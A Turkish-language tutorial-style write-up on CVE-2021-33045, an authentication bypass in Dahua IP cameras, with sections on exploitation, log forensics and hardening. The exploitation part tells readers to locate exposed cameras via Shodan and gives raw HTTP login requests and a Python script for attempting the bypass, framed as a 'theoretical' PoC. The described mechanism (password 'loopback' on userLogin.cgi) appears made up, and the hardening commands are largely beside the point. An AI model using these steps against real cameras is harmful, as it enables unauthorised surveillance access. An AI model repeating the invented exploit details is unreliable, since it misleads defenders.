CVE-2021-33045: Dahua IP Camera Authentication Bypass Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

Dahua IP kameraların, önemli bir güvenlik açığı olan CVE-2021-33045 ile karşı karşıya olduğu bilinmektedir. Bu zafiyet, bir istemcinin kimlik doğrulama işlemi sırasında döngü geribildirim cihazını (loopback device) belirlemesi durumunda bir kimlik doğrulama atlatma (authentication bypass) hatasına yol açmaktadır. Bu tür güvenlik açıkları, özellikle video gözetim sistemleri için kritik olmakla birlikte, birçok sektörde ciddi güvenlik ihlallerine neden olabilir.

CVE-2021-33045, Dahua IP kameraların ve ilgili ürünlerin yazılımında yer alan bir hata nedeniyle ortaya çıkmıştır. Bu durum, kötü niyetli bir aktörün, kimlik doğrulama mekanizmasını aşarak sisteme erişim sağlamasına olanak tanır. Dolayısıyla, siber saldırganlar bu açığı kullanarak, sistemleri uzaktan kontrol edebilir, veri çalabilir veya even daha kötü senaryolar yaratabilir. Özellikle sağlık, eğitim, perakende ve kamusal güvenlik gibi hassas sektörler bu tür zafiyetlerden olumsuz etkilenmektedir. Birçok kuruluşa bağımsız olarak hizmet veren Dahua IP kameraları, bu sektördeki güvenliği tehdit eden önemli birer araç haline gelmiştir.

Zafiyetin çıkış tarihi 2021'in ortalarına dayanmaktadır. Bu süreçte güvenlik araştırmacıları, Dahua'nın yazılım kütüphanesinin spesifik bir bileşeninde bu kimlik doğrulama hata mekanizmasını keşfetmiştir. Özellikle, istemcinin döngü geribildirimi cihazını belirtmesi durumunda, sunucun kullanıcıdan kimlik bilgilerini doğru bir şekilde doğrulayamaması bu açığın temelini oluşturur. Bu durum, sistemin güvenliğini ciddi şekilde zayıflatarak, siber güvenlik tehditlerine kapı aralamaktadır.

Gerçek dünya senaryolarında, bu tür bir zafiyetten faydalanan saldırganlar, IP kameralar üzerinden kritik bilgileri ele geçirebilmekte, eğitim kurumlarının güvenlik kameralarını devre dışı bırakabilmekte veya sağlık kuruluşlarının hastane içindeki gözetim sistemlerine erişim sağlayabilmektedir. Örneğin, bir eğitim kurumunda, öğrencilerin sınav sırasında gözetim altında tutulduğu bir ortamda, bu tür bir zafiyetin istismar edilmesi öğrencilerin sahtecilik yapmasına olanak tanıyabilir. Bu durum, hem öğrencilerin akademik kariyerlerini tehlikeye atmakta hem de kurumun güvenilirliğini zedelemektedir.

CWE-287 sınıflamasına tabi olan bu zafiyet, genellikle Oturum Yönetimi ve Kimlik Doğrulama süreçleriyle ilgilidir. Saldırganlar, sisteme izinsiz erişim sağlamak için kullanabilecekleri kimlik bilgilerini elde etmekte ve bu süreçte siber güvenliği tehlikeye atmaktadır. Dahua IP kameralarıyla entegre bir sistemde, bu tür bir açık, bir dizi diğer kritik bileşenle bir araya geldiğinde, RCE (Remote Code Execution - Uzaktan Kod Yürütme), Buffer Overflow (Tampon Taşması) gibi daha büyük güvenlik sorunlarına yol açabilir.

Bu bağlamda, Dahua ve benzeri üreticilerin, yazılım güncellemeleri yaparak ve güvenlik açıklarını hızla kapatarak bu tür zafiyetlerin önüne geçmeleri kritik öneme sahiptir. Ayrıca, kullanıcılar da sistemlerini yönetirken ve yapılandırırken dikkatli olmalı, güvenlik en iyi uygulamalarını benimsemelidir. Tüm bu önlemler, IP kameralar ve gözetim sistemlerinin güvenliğinin artırılmasında büyük rol oynamaktadır.

Teknik Sömürü (Exploitation) ve PoC

Dahua IP kameralarındaki CVE-2021-33045 zafiyeti, yetkilendirme (authentication) bypass (atıf geçişi) açığı olarak bilinir ve bu, Hackerlar için büyük bir fırsat sunar. Bu tür bir açığın sömürülmesi, cihazın yönetimsel özelliklerine erişim sağlamak için kullanılabilir. Bu bölümde, Dahua IP kameralarındaki bu açığı adım adım ele alacağız ve teorik bir PoC (Proof of Concept, kavramsal kanıt) senaryosu sunacağız.

Öncelikle, bu zafiyetin temel mekanizmasını anlamak önemlidir. Dahua IP kameraları, istemci tarafından gönderecekleri özel bir istek (request) ile bir loopback cihazını (geri döngü) kullanarak kimlik doğrulama işlemi gerçekleştirir. Bu işlem, saldırganların yetkileri olmadan cihaza erişim sağlamasına yardımcı olur.

Zafiyetin sömürülmesi için aşağıdaki adımları izleyebilirsiniz:

Hedef Belirleme: İlk adım, hedef ekipmanları belirlemektir. Dahua IP kameralarının açık IP adreslerine sahip olup olmadığını kontrol edin. İnternette yaygın kullanılan "Shodan" gibi araçlar, bu kameraları bulmanızı kolaylaştıracaktır.
HTTP İsteği Gönderme: Söz konusu kameralar, sağlanan kimlik bilgileri ile doğrulama yapar. Bu aşamada, aşağıdaki gibi bir HTTP isteği göndererek doğrulama yapmaya çalışabilirsiniz.

POST /cgi-bin/userLogin.cgi HTTP/1.1
Host: [kamera_ip_adresi]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&amp;password=admin

Bu istekle, cihazın standart 'admin' kimlik bilgilerini kullanarak giriş yapmayı deneyin. Eğer bu kimlik bilgileri geçersizse, bir sonraki adıma geçin.

Loopback Cihazı Kullanımı: Burada kritik nokta, giriş isteğinde "loopback" kullanılmalıdır. Dolayısıyla, aşağıdaki gibi bir istekle kimlik doğrulama bypass etmeye çalışabilirsiniz:

POST /cgi-bin/userLogin.cgi HTTP/1.1
Host: [kamera_ip_adresi]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&amp;password=loopback

İlgili isteği gönderdikten sonra, sunucudan gelen yanıtı kontrol edin. Eğer bu isteğiniz doğrulama aşamasından geçerse, önemli yönetimsel yetkilere sahip olabilirsiniz.

İşlem Sonrası Erişim: Erişim sağlandığında, cihazın web arayüzüne veya API'sine bağlanarak tüm ayarları değiştirebilirsiniz. Yönetimsel ayarlar değiştirilebilir ve kameranın görüntü akışı kontrol altına alınabilir. Özellikle, kamera akışlarını yerel ağa veya uzaktan bir sunucuya yönlendirmek gibi işlemler yapılabilir.
PoC İçin Python Kodu: Aşağıda, bu süreci otomatikleştirmek için bir Python betiği örneği bulunmaktadır:

import requests

camera_ip = "[kamera_ip_adresi]"
url = f"http://{camera_ip}/cgi-bin/userLogin.cgi"

payload = {
    'username': 'admin',
    'password': 'loopback'
}

response = requests.post(url, data=payload)

if "success" in response.text:
    print("Giriş başarılı, yetkili erişim sağlandı")
else:
    print("Giriş başarısız")

Bu betik, belirtilen Dahua IP kamerasına yönlendirilmiş bir istek göndererek potansiyel bir yetkilendirme bypass’ı oluşturmaktadır.

Özetle, CVE-2021-33045 doğrultusunda Dahua IP kameralarındaki bu zafiyet, temel kimlik doğrulama mekanizmalarından yararlanarak kötü niyetli kişilerin cihaz üzerinde kontrol elde etmesine olanak tanır.

Bu bilgi, "White Hat Hacker" perspektifinden, sistem güvenliğini sağlamak ve bu tür açıklara karşı önleyici tedbirler almak açısından önemli bir eğitim içerik sunmaktadır. Unutulmamalıdır ki, tüm bu yöntemler sadece eğitim amaçlı kullanılmalı ve etik hacking sınırları içinde kalınmalıdır.

Forensics (Adli Bilişim) ve Log Analizi

Dahua IP kameralarının ve ilgili ürünlerin, istemcinin kimlik doğrulaması sırasında loopback cihazı belirtimi ile bir kimlik doğrulama atlatma zafiyeti (authentication bypass vulnerability) içerdiği bilinmektedir. Bu zafiyet, kötü niyetli kişilerin yetkisiz erişim elde etmesine olanak tanıyabilir. CyberFlow platformu gibi siber güvenlik çözümleri, bu tür zayıflıkların tespit edilmesini sağlama amacıyla geliştirildi. Özellikle, forensics (adli bilişim) ve log analizi bu tür durumların tespiti için kritik öneme sahiptir.

Bir siber güvenlik uzmanı, CVE-2021-33045 zafiyetini tetikleyen bir saldırının gerçekleştirilip gerçekleştirilmediğini belirlemek için SIEM (Security Information and Event Management) sistemlerine ve log dosyalarına (erişim logları, hata logları vb.) başvurmalıdır. Log analizi, autentikasyon atlatma gibi karmaşık olası durumların tespitinde önemli rol oynar. Erişim logları, sistemdeki tüm giriş çıkış işlemlerini kaydettiği için bu loglarda yapılan analiz, yetkisiz erişim denemelerini ortaya koyabilir.

Analiz sırasında, aşağıdaki göstergelere (signature) dikkat edilmelidir:

Anormal Erişim Denemeleri: Düşük güvenlik ilkelerine sahip sistemlere yapılan çok sayıda sürekli giriş denemesi, bir kimlik doğrulama atlatma girişimi olabilir. Loglarda belirli bir IP adresinden gelen art arda başarısız giriş girişimlerini gözlemlemek bu anlamda kritik bir gösterge olabilir.
Loopback Cihaz İfadeleri: Log dosyalarında, istemcilerin kimlik doğrulama sırasında belirttiği loopback IP adresi (127.0.0.1 gibi) gibi olağandışı veya beklenmeyen değerler dikkatlice incelenmelidir. Bu tür değerlerin varlığı, bir saldırganın sistemi geçersiz kılma çabası olarak değerlendirilebilir.
Başarılı Giriş Olayları: Loglarda, beklenmedik zamanlarda veya IP adreslerinden gelen, yetkisiz kullanıcı hesapları ile yapılan başarılı girişler de önemli bir tehdidi işaret edebilir. Giriş zamanları ve kullanıcı hesaplarına ilişkin alışılmadık davranışlar, dikkatle incelenmelidir.
Hata Mesajları ve Yanıt Kodları: Hata logları üzerinde yapılan analiz, belirli hataların ve yanıt kodlarının (örneğin 401 veya 403) sıklığını gösterebilir. Bu hatalar, özellikle kimlik doğrulama süreçlerinde meydana geldiyse, olası bir atlama denemesi olarak değerlendirilmelidir.
Aşırı Veri Ağırlaştırma: Bir sistem, benzer kimlik doğrulama isteklerinde bulunanan bir IP adresi tarafından aşırı bir veri yüklemesiyle karşılaşıyorsa, bu durum bir RCE (Remote Code Execution - Uzaktan Kod Çalıştırma) veya başka bir saldırıya dair ipuçları verebilir.

Bu tür durumlarda, CyberFlow'un log analizi özellikleri devreye girer. Sistem, olayları otomatik olarak analiz edebilir ve anormallikleri tespit edebilir, bu da güvenlik uzmanlarına daha kesi ve etkili müdahale fırsatları sunduğu için kritik bir avantaj sağlar.

Gerçek dünya senaryolarında, bir siber güvenlik uzmanı bu göstergeleri dikkatle gözlemleyerek ve analiz ederek, kimlik doğrulama bypass (atlatma) zafiyetine karşı önlemler geliştirir. Ayrıca, sistemlerini sürekli kontrol ederek güncellemeler yapmalı ve zafiyetlerden korunmak için ilgili log dosyalarındaki anormallikleri düzenli bir şekilde incelemelidir. Unutulmamalıdır ki, proaktif bir yaklaşım, güvenliğin sağlanmasında en etkili yoldur.

Savunma ve Sıkılaştırma (Hardening)

Dahua IP kameralarındaki CVE-2021-33045 zafiyeti, siber güvenlik alanında dikkat edilmesi gereken önemli bir sorun teşkil etmektedir. Bu zafiyet, kameralar ve ilgili ürünlerde, müşterilerin kimlik doğrulama işlemi sırasında döngü geri bağlama (loopback) cihazı kullanarak kimlik doğrulama atlaması (authentication bypass) gerçekleştirmesine olanak tanımaktadır. Bu, saldırganların ip kamera sistemlerine yetkisiz erişim elde etmelerini sağlayarak, cihazların kontrolünü ele geçirmelerine, güvenlik kayıtlarını silmelerine veya başka kötü niyetli eylemlerde bulunmalarına neden olabilir.

Güvenlik açıklarını kapatmanın en etkili yollarından biri, kalıcı sıkılaştırma (hardening) önlemlerinin alınmasıdır. Öncelikle, Dahua IP kameralarının firmware güncellemeleri düzenli olarak takip edilmeli ve mümkün olan en güncel versiyonlar yüklenmelidir. Üretici, güvenlik açıklarını kapatmak için düzenli güncellemeler yayınlamaktadır. Bu güncellemeler, hem yeni özellikler eklerken hem de mevcut zafiyetleri kapatarak cihazların daha güvenli hale gelmesini sağlar.

Firewall ve Web Application Firewall (WAF) kuralları da sıkılaştırma sürecinde önemli bir rol oynamaktadır. Örneğin, aşağıdaki şekilde bir WAF kuralı ekleyerek belirli IP adreslerinden gelen şüpheli istekleri filtreleyebiliriz:

SecRule REMOTE_ADDR "@ipMatch 192.168.1.100" "id:1000001,phase:1,deny,status:403"

Bu kural, belirli bir IP adresinden gelen istekleri engelleyerek, potansiyel bir saldırganın sisteme erişimini zorlaştırır. Ayrıca, kimlik doğrulama süreçlerindeki şüpheli aktiviteleri izlemek için loglama ve izleme sistemleri entegre edilmelidir. Bu tür sistemler, olası bir saldırı durumunda erken müdahale imkanı sunar.

Bir diğer sıkılaştırma önerisi ise, minimum yetki prensibini uygulamaktır. IP kameralarına ve yönetim arayüzlerine erişimi olan kullanıcıların yetkileri gözden geçirilmeli ve sadece gerekli olanlarla sınırlandırılmalıdır. Özellikle admin yetkisine sahip kullanıcıların sayısı azaltılmalı ve güçlü parolalar kullanılmalıdır. Aşağıdaki şekilde kullanıcı yetkileri belirlenebilir:

useradd -G camera_admin -s /bin/bash new_user

Bu komut, "new_user" adında yeni bir kullanıcı oluşturup, onu "camera_admin" grubuna ekler ve böylece belirli erişim yetkileri tanımlanmış olur.

Aynı zamanda, IP kameraların ağ yapılandırmaları da gözden geçirilmelidir. Özel bir VLAN (Virtual Local Area Network) kullanarak kameraların genel ağdan izole edilmesi, saldırı yüzeyini azaltacak önemli bir adımdır. Bu yapılandırma ile sadece belirli kullanıcıların ve sistemlerin kameralarla iletişim kurmasına izin verilerek güvenlik artırılabilir.

Son olarak, zafiyetin varlığını izlemek için düzenli penetrasyon testleri gerçekleştirilmesi ve tespit edilen güvenlik açıkları için acil çözümler üretilmesi önerilmektedir. Bu testler, sistemin ne kadar güvenli olduğunu ölçmenin yanı sıra, zafiyetlerin varlığını erkenden tespit etme fırsatı sunar.

Özetlemek gerekirse, Dahua IP kamera sistemlerindeki CVE-2021-33045 zafiyetinin kapatılması için çeşitli yöntemler uygulanabilir. Firmware güncellemeleri, firewall ve WAF kuralları, yetki yönetimi ve ağ sıkılaştırma adımları, zafiyetin etkilerini azaltmada kritik öneme sahiptir. Sadece bu önlemlerle sınırlı kalmayıp, sürekli olarak güvenlik politikalarını güncelleyerek ve proaktif önlemler alarak, IP kameralarınızı daha güvenli bir hale getirebilirsiniz.